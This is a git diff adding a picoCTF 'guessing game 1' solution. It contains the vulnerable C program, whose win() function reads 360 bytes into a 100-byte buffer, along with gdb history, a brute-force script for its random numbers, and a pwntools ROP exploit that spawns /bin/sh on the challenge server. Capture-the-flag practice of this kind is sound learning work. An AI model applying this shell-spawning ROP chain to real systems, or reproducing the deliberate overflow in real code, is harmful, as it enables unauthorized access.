diff --git a/guessing_game_1/.gdb_history b/guessing_game_1/.gdb_history
new file mode 100644
index 0000000..34256a6
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+++ b/guessing_game_1/.gdb_history
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+disassemble main
+disassemble increment 
+disassemble get_random 
+exit
+cyclic
+cyclic 100
+cyclic 200
+cyclic 360
+cyclic zaaa
+cyclic zaaaaa
+cyclic help
+cyclic -l bdaaaaaa
+cyclic -l aaaaaa
+cyclic -l aaaaaaaa
+cyclic -l aaaaaaab
+r
+r
+cyclic -l 0x6161616161616170
+disassemble main
+exit
+c
+c
+c
+c
+c
+c
+c
+c
+disassemble win
+b *win+49
+c
+exit
+b *win+49
+c
+stackf
+stackf help
+stackf -h
+stackf 100
+hexdump $sp 200
+nexti
+stackf
+nexti
+c
+hexdump *bss
+vmmap
+hexdump 0x6b7000
+hexdump 0x6bd000
+hexdump 7062432
+nexti
+b *win+49
+c
+nexti
+hexdump 7062432
+c
+nexti
+c
+b *win+49
+c
+c
+nexti
diff --git a/guessing_game_1/Makefile.share b/guessing_game_1/Makefile.share
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+++ b/guessing_game_1/Makefile.share
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+all:
+	gcc -m64 -fno-stack-protector -O0 -no-pie -static -o vuln vuln.c
+
+clean:
+	rm vuln
diff --git a/guessing_game_1/get_random_numbers.py b/guessing_game_1/get_random_numbers.py
new file mode 100755
index 0000000..c3e6d5a
--- /dev/null
+++ b/guessing_game_1/get_random_numbers.py
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+#!/usr/bin/env python
+from pwn import *
+
+n = 6
+values = []
+p = log.progress(f"bruteforcing {n} random numbers")
+while len(values) < n:
+    for i in range(100):
+        with context.quiet:
+            conn = process("./vuln")
+        conn.recvline()
+        for v in values:
+            conn.recvuntil(b"guess?")
+            conn.sendline(str(v).encode())
+            conn.sendline(b"0")
+        p.status(f"i = {i:03}, {values}...")
+        conn.recvuntil(b"guess?")
+        conn.sendline(str(i+1).encode())
+        conn.recvline()
+        result = conn.recvline()
+        with context.quiet:
+            conn.close()
+        if b"win" in result:
+            values.append(i+1)
+            break
+
+p.success(f"values are {values}")
+
diff --git a/guessing_game_1/sol.py b/guessing_game_1/sol.py
new file mode 100755
index 0000000..3005489
--- /dev/null
+++ b/guessing_game_1/sol.py
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+#!/usr/bin/env python
+from pwn import *
+# https://cyb3rwhitesnake.medium.com/picoctf-guessing-game-1-pwn-bdc1c87016f9
+context.terminal = "kitty"
+
+numbers = [84, 87, 78, 16, 94, 36] # -> brute-forcing script
+
+elf = ELF("./vuln")
+rop = ROP(elf)
+pop_rdi = rop.rdi.address
+pop_rsi = rop.rsi.address
+pop_rdx = rop.rdx.address
+pop_rax = rop.rax.address
+syscall = rop.syscall.address
+bss = elf.bss()
+read = elf.functions['read'].address
+main = elf.functions['main'].address
+
+ret_offset = 120
+
+conn = remote("shape-facility.picoctf.net", 50780)
+#conn = process("./vuln")
+#attach(conn)
+
+conn.recvuntil(b"guess?")
+conn.sendline(str(numbers[0]).encode())
+conn.recvuntil(b"Name?")
+
+# call read: read(int fd -> rdi, void buf[count] -> rsi, size_t count -> rdx)
+# read(stdin/0, bss, 12)
+log.info(f"sending read payload")
+payload = cyclic(ret_offset, n=8)
+payload += p64(pop_rdi) + p64(0)
+payload += p64(pop_rsi) + p64(bss)
+payload += p64(pop_rdx) + p64(12)
+payload += p64(read)
+payload += p64(main)
+conn.sendline(payload)
+conn.sendline(b"/bin/sh\x00")
+
+conn.recvuntil(b"guess?")
+conn.sendline(str(numbers[1]).encode())
+conn.recvuntil(b"Name?")
+
+# call /bin/sh: sys_execve(59), rdi: char *filename, rsi: char *argv, rdx: char *envp
+# sys_execve(bss, NULL/0, NULL/0)
+log.info(f"calling execve")
+payload = cyclic(ret_offset, n=8)
+payload += p64(pop_rax) + p64(59)
+payload += p64(pop_rdi) + p64(bss)
+payload += p64(pop_rsi) + p64(0)
+payload += p64(pop_rdx) + p64(0)
+payload += p64(syscall)
+conn.sendline(payload)
+
+conn.recvline()
+conn.interactive()
+
diff --git a/guessing_game_1/vuln b/guessing_game_1/vuln
new file mode 100755
index 0000000..c3cb8b6
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diff --git a/guessing_game_1/vuln.c b/guessing_game_1/vuln.c
new file mode 100644
index 0000000..f2b53f0
--- /dev/null
+++ b/guessing_game_1/vuln.c
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+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+
+#define BUFSIZE 100
+
+
+long increment(long in) {
+	return in + 1;
+}
+
+long get_random() {
+	return rand() % BUFSIZE;
+}
+
+int do_stuff() {
+	long ans = get_random();
+	ans = increment(ans);
+	int res = 0;
+	
+	printf("What number would you like to guess?\n");
+	char guess[BUFSIZE];
+	fgets(guess, BUFSIZE, stdin);
+	
+	long g = atol(guess);
+	if (!g) {
+		printf("That's not a valid number!\n");
+	} else {
+		if (g == ans) {
+			printf("Congrats! You win! Your prize is this print statement!\n\n");
+			res = 1;
+		} else {
+			printf("Nope!\n\n");
+		}
+	}
+	return res;
+}
+
+void win() {
+	char winner[BUFSIZE];
+	printf("New winner!\nName? ");
+	fgets(winner, 360, stdin);
+	printf("Congrats %s\n\n", winner);
+}
+
+int main(int argc, char **argv){
+	setvbuf(stdout, NULL, _IONBF, 0);
+	// Set the gid to the effective gid
+	// this prevents /bin/sh from dropping the privileges
+	gid_t gid = getegid();
+	setresgid(gid, gid, gid);
+	
+	int res;
+	
+	printf("Welcome to my guessing game!\n\n");
+	
+	while (1) {
+		res = do_stuff();
+		if (res) {
+			win();
+		}
+	}
+	
+	return 0;
+}